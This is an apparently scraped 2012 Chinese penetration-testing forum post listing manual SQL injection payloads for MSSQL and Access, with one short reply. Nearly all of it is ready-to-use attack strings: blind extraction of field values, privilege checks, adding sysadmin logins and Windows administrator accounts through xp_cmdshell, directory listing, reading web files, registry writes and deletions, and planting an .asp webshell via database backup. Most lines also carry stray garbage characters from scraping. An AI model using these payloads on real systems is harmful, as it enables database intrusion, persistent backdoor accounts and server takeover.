中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入 * V; q2 U7 G7 \/ R2 v9 e
1.判断是否有注入;and 1=1 ;and 1=2
, h: ^$ @$ m4 ?! c+ Q4 S2 \( q0 J5 Z6 i& I5 n  ?- D
2.初步判断是否是mssql ;and user>0 + W2 H. m4 ^" C7 {  @; n9 q7 B0 s
6 z$ D# H7 N+ C. f0 C( D, h
3.注入参数是字符'and [查询条件] and ''='
$ U- w; V" s* j% Y6 u1 w; b. s4 Q, r0 N- a! K: V+ Z
4.搜索时没过滤参数的'and [查询条件] and '%25'=' , z2 g% y- o& A. o

7 O( [/ C7 I& t% O, O5.判断数据库系统
* @8 A( I( D7 k# z) n0 J; H;and (select count(*) from sysobjects)>0 mssql
$ V+ Q2 p6 N/ C+ i/ ]( ^+ f4 `;and (select count(*) from msysobjects)>0 access
) N9 B- L9 ^; }* P& \/ T+ x) @5 D; o6 f8 `: f; ~) j
6.猜数据库 ;and (select Count(*) from [数据库名])>0
2 p; S% j5 K4 b
& W& k8 I( w4 }3 G7.猜字段 ;and (select Count(字段名) from 数据库名)>0
  a  Q* u& [1 Y  h. [$ s
' X; E6 B( I2 q8 ^5 {8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
; h! x& H: x3 \0 B8 O1 p( D  f& |7 K. ?7 W
9.(1)猜字段的ascii值(access)
+ [0 d6 S# h3 d% r- y8 H  z;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 : R; O, o2 A) k
$ f( L0 |5 A8 v8 l& H, F
(2)猜字段的ascii值(mssql)
8 L2 j5 v/ c* t8 |;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
+ y4 j8 s# z; h: F( M4 L( D
/ p1 O" b3 V* s% j* d10.测试权限结构(mssql)
  v% p: q1 m( Y% P( G9 k: I;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 E/ N6 K' z7 ]/ t' B0 O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
6 v' b+ f' f- L( v: W' S;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- " t- a7 ?. e' R- J
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
4 K) I3 W  M3 s$ \+ P& K/ G1 g;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4 U) p1 o; K: ]6 h; |4 O1 k( ~) z0 V
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& {9 y/ d8 U- f% N0 l;and 1=(select IS_MEMBER('db_owner'));-- 3 f, e$ D# ~" ?; O  N

) Y' G4 g; W7 `* F  z( b11.添加mssql和系统的帐户
5 r3 Q0 {+ N& f;exec master.dbo.sp_addlogin username;-- 8 v( _: o8 w3 v4 E

0 e/ ]: l: p) @2 E+ M( @;exec master.dbo.sp_password null,username,password;-- . P, P; w2 j6 }, j* o3 G

" E" m8 ~# Q% b5 i;exec master.dbo.sp_addsrvrolemember sysadmin username;--
# t. D( A! {" ^/ [% I% E+ k9 P' i' m( u3 H1 v
;exec master.dbo.xp_cmdshell 'net user username password + ~! A' @8 o8 ^3 K/ |7 O
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
3 V& A$ {1 X$ R8 [
( [# R7 r  v# O3 K) U1 V8 W" l8 m0 u;exec master.dbo.xp_cmdshell 'net user username password /add';--
1 t; I' N4 Y0 a7 L! i& k
, Y7 Z7 |9 Z, s: y3 e! m9 A( U( a;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $ j' p5 L) A; S: i7 n
2 H; P  i* c! _8 I9 \3 Q
12.(1)遍历目录
# T3 N8 z: x+ Q9 f# ^% W
( {, y+ P- g4 C& Z( g! o2 l;create table dirs(paths varchar(100), id int)
% o) S' B1 c7 U% e  e- C( m+ ?: G;insert dirs exec master.dbo.xp_dirtree 'c:\' & w  m" ?6 e3 l! o, R, p
;and (select top 1 paths from dirs)>0
; w5 M1 U) m9 j4 C' h& Q, q;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
) r6 Y  z4 B9 L  m5 z1 w
; ^, H% B4 j& c4 u( u+ d6 B/ m2 m(2)遍历目录
# j0 ]3 ~; Y1 R$ r' X2 s;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; a. D1 C. P, w( T; R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 , j/ k! |$ n) J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
- ^# y* x# {+ w2 n;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9 u% i3 u1 u4 {5 w( L
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 : {' q+ g  E/ `6 S

8 e  a* T+ U. T5 D13.mssql中的存储过程
5 m8 Z; j4 `" B: L* Z0 X; Y5 m" e5 Q" u: i0 c, ]" u! ~
xp_regenumvalues 注册表根键, 子键 $ _8 E5 r- U0 Y5 n& ~6 Y3 j
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7 C0 h( M/ ^* X7 \3 T
# R' f3 w5 L$ A' ?3 m" M0 F2 ]
xp_regread 根键,子键,键值名 " E/ [+ c: d/ m
;exec xp_regread
. J/ C, q3 h7 ~9 h" H'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 k5 B( `# U# F$ q& ?; Z' s2 o2 @# o) E
xp_regwrite 根键,子键, 值名, 值类型, 值
9 C" k. I6 O: s( y8 v- V8 ~% @值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 & W: F  x( p1 l; N* u
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
, S- v- D. b* _
. C: X: V, Z2 Sxp_regdeletevalue 根键,子键,值名 # {( d8 B4 L2 i7 @, I3 w5 ^5 G
( a% x) Q2 o4 W( m' G
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 / B4 L7 @! Y* I, B. _

7 M3 k4 }8 y1 v3 m- qxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 c, V6 b2 E6 e# d& ~
3 O+ ]: @% n! V. D8 I( C3 W
14.mssql的backup创建webshell
/ x0 p& }# {" W9 ^1 Kuse model ! D: ^( q- m6 n/ I
create table cmd(str image); $ k1 q! x0 a! e: k3 _% l
insert into cmd(str) values ('');
: n5 R% q, t/ g& r+ `( Ibackup database model to disk='c:\l.asp';
9 x/ j: h* ?: ~) y" G9 h
- l8 F; v; `" ^1 W/ J# Z6 M; g( X15.mssql内置函数
) n; O) Y( i$ D! _: k% ]( Y3 b9 i;and (select @@version)>0 获得Windows的版本号
; F; y/ _' \6 R/ `; W+ O, h;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' D, Z% j3 q; b  u0 H4 ^+ {
;and (select user_name())>0 爆当前系统的连接用户 ) b5 X& w5 K* a; o$ n5 q
;and (select db_name())>0 得到当前连接的数据库
6 h5 j" c% u; C" P4 g8 N2 ?2 w5 q3 w+ }( f
16.简洁的webshell , ~2 V# J  }- j3 w1 I

4 r2 [* S2 L9 B7 [  I. Q# C! fuse model $ L" a- ^1 w& M9 }
8 i, o: e/ g/ o$ C. x& s  k/ n* B4 E
create table cmd(str image);
# n9 i( q( H7 i  V9 `) W7 }
* `) N* J5 _$ w4 Qinsert into cmd(str) values (''); ; [" Z5 V0 f3 c
5 P1 b. h) N9 ~  z- ^
backup database model to disk='g:\wwwtest\l.asp'; + m/ J7 t, e3 O0 K) x7 E+ N7 _4 s

' s: I; `2 A( M5 ^' T
作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2